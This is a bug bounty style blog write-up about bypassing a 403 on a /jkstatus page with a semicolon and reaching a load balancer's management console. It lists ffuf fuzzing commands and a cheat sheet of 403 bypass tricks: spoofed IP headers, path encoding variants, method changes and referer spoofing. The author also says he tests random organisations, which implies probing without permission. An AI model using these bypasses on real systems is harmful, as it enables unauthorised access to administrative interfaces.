🚀Bypassing 403 to Expose Load Balancer Configuration & Worker Status!
🔐 Meet Akash Kr Thakur
(Security Researcher | Bug Bounty Trainer | Ethical Hacking Advocate)
Hey #CyberSecFam 👋,
I’m Akash — your go-to guy for dissecting vulnerabilities, turning code into lessons, and hunting bugs like they’re treasure. 🕵️♂️💻
Today, I’m sharing a wild ride into a real-world jkstatus exposure through bypassing 403 restrictions, revealing manager details, load balancing worker listings, and worker status for load balancing. Buckle up — this one’s packed with twists, tools, and tactical takeaways! 🔍💻
What I Do:
✅ Security Researcher: 1+ years of pentesting, red teaming, and exposing flaws in Fortune 500 systems (yes, including that Yamaha SQLi saga!).
✅ Bug Bounty Trainer: Empowering 50+ students to find their first critical (vulnerability) and earn $$$ on platforms like HackerOne & Bugcrowd.
✅ Secure Coding Evangelist: Teaching devs how to build forts, not doors for hackers.
DM for Training/Workshops | Follow for free cheatsheets & toolkits!
🔎 Target Locked
Target: example.com (name anonymized for responsible disclosure).
🔎 Step 1: The Hunt Begins
I often test random organizations for security flaws, and this time was no different. With a keen eye for potential weak spots, I locked onto my target.
🛠 Step 2: Digging Deeper
Once I had my target in sight, I kicked off directory fuzzing — a crucial step to uncover hidden endpoints and misconfigurations. Little did I know, I was about to stumble upon something far more interesting than I expected! 👀💥
Command: ffuf -u http://example.com/FUZZ -w wordlist.txt
I stumbled upon the /jkstatus directory, but it hit me with a 403 Forbidden! 🚫🔍
Let’s dive into the FFUF tool first — what it is and how to use it effectively! 🚀🔍
🔍 FFUF (Fuzz Faster U Fool) — The Ultimate Directory Fuzzing Tool
FFUF is a powerful, fast, and flexible fuzzing tool used for discovering directories, files, subdomains, and other hidden resources on a target. It’s widely used in security testing and bug bounty hunting.
⚡ Basic Usage: Directory Fuzzing
ffuf -u http://example.com/FUZZ -w wordlist.txt
- -u → Specifies the target URL, where FUZZ is the injection point.
- -w → Specifies the wordlist to use for fuzzing.
🔎 Recursive Directory Fuzzing
ffuf -u http://example.com/FUZZ -w wordlist.txt -recursion
- -recursion → Automatically fuzzes discovered directories for deeper scanning.
After running my fuzzing scan, I discovered a directory called “jkstatus”, but it returned a 403 Forbidden status. 🤔 This was quite interesting — restricted access often means something valuable is hidden.

That’s when I decided to bypass it and see what secrets were locked behind that 403! 🚀🔓
🔓 Step 3: Bypassing 403
Guess what? I successfully bypassed it with a semicolon (;) 🎯🔥

Sometimes, a simple trick is all it takes to slip through the cracks. Now, it was time to see what was hiding behind that 403 Forbidden! 👀🔓
Let’s also explore some bypass techniques and dive into advanced methods for evading restrictions! 🚀🔓
I’ve highlighted some clever bypass techniques you won’t want to miss! 🚀
🔓 403 Bypass Techniques — Unlocking Restricted Access
Encountering a 403 Forbidden? No worries! Here are some tried-and-tested methods to bypass it:
🛠 Header Manipulation
Some servers restrict access based on headers. Try adding:
-H “X-Forwarded-For: 127.0.0.1”
-H “X-Originating-IP: 127.0.0.1”
-H “X-Remote-IP: 127.0.0.1”
-H “X-Client-IP: 127.0.0.1”
Command:
ffuf -u http://example.com/jkstatus -H “X-Forwarded-For: 127.0.0.1” -mc 200
🏴☠️ Path Encoding Tricks
Sometimes, encoding the path can bypass restrictions. Try:
/jkstatus%2e/
/jkstatus.;
/jkstatus;
/jkstatus//
/jkstatus?
🌍 Changing the HTTP Method
Some endpoints allow GET, but block POST/HEAD. Test different methods:
curl -X GET http://example.com/jkstatus
curl -X POST http://example.com/jkstatus
curl -X HEAD http://example.com/jkstatus
🚀 Appending Special Characters
Certain servers handle paths differently when you append a . or /:
bash
CopyEdit
/jkstatus/
/jkstatus.
/jkstatus..;/
🛑 Referer Spoofing
Some sites restrict access unless you come from a specific page. Try adding:
-H “Referer: http://example.com/admin”
🔥 Using IP Instead of Domain
Instead of example.com, use the direct IP address:
🏆 Google Dorking for Cached Versions
Check if Google indexed the page:
site:example.com inurl:jkstatus
💡 Pro Tip: Always test multiple techniques because different web servers handle restrictions differently. Which method worked for you? Let me know! 🚀
💥 Jackpot! Full Server Exposure Unlocked
After successfully bypassing the 403 Forbidden, I landed on the jkstatus page — and it was a goldmine!
🔍 What did I find?
- Complete server details, including configuration insights.
- Load balancing worker listings, revealing the active and standby nodes.
- Real-time worker status, exposing which servers were handling traffic and how the load was distributed.
This level of exposure could allow an attacker to map the entire infrastructure, identify potential weak points, and even manipulate load balancing behavior if further misconfigurations existed.
A small bypass led to critical information leakage — a perfect example of why 403 doesn’t always mean ‘off-limits’! 🚀🔓

🚀 Total Control Unlocked — Load Balancer at My Fingertips!
As I explored further, things got even crazier! Not only did I gain visibility into the server details and load balancing workers, but I also discovered full management access.
🔑 What did this mean?
- I had the ability to edit and modify the load balancer settings.
- I could add, remove, or redirect traffic between servers.
- This essentially meant control over how requests were distributed, which could disrupt services or reroute traffic maliciously if exploited.
For a hacker, this is a massive achievement — it’s like getting the keys to the kingdom, allowing full manipulation of how the backend operates. A simple 403 bypass led to a highly critical vulnerability, proving once again that small misconfigurations can have huge security implications! 🔥🔓


🙌 Thank You for Reading!
I appreciate you taking the time to read through this wild security journey! 🚀 From discovering the target to bypassing 403 and unlocking full load balancer control, this was a perfect example of how small vulnerabilities can lead to major security risks.
Cybersecurity is all about continuous learning and exploration, and I hope this write-up gave you some valuable insights and techniques.
💡 If you enjoyed this, don’t forget to follow for more security research, toolkits, and cheatsheets!
🔐 Stay curious, stay ethical, and keep hacking responsibly!
Thank you once again! 🙏🔥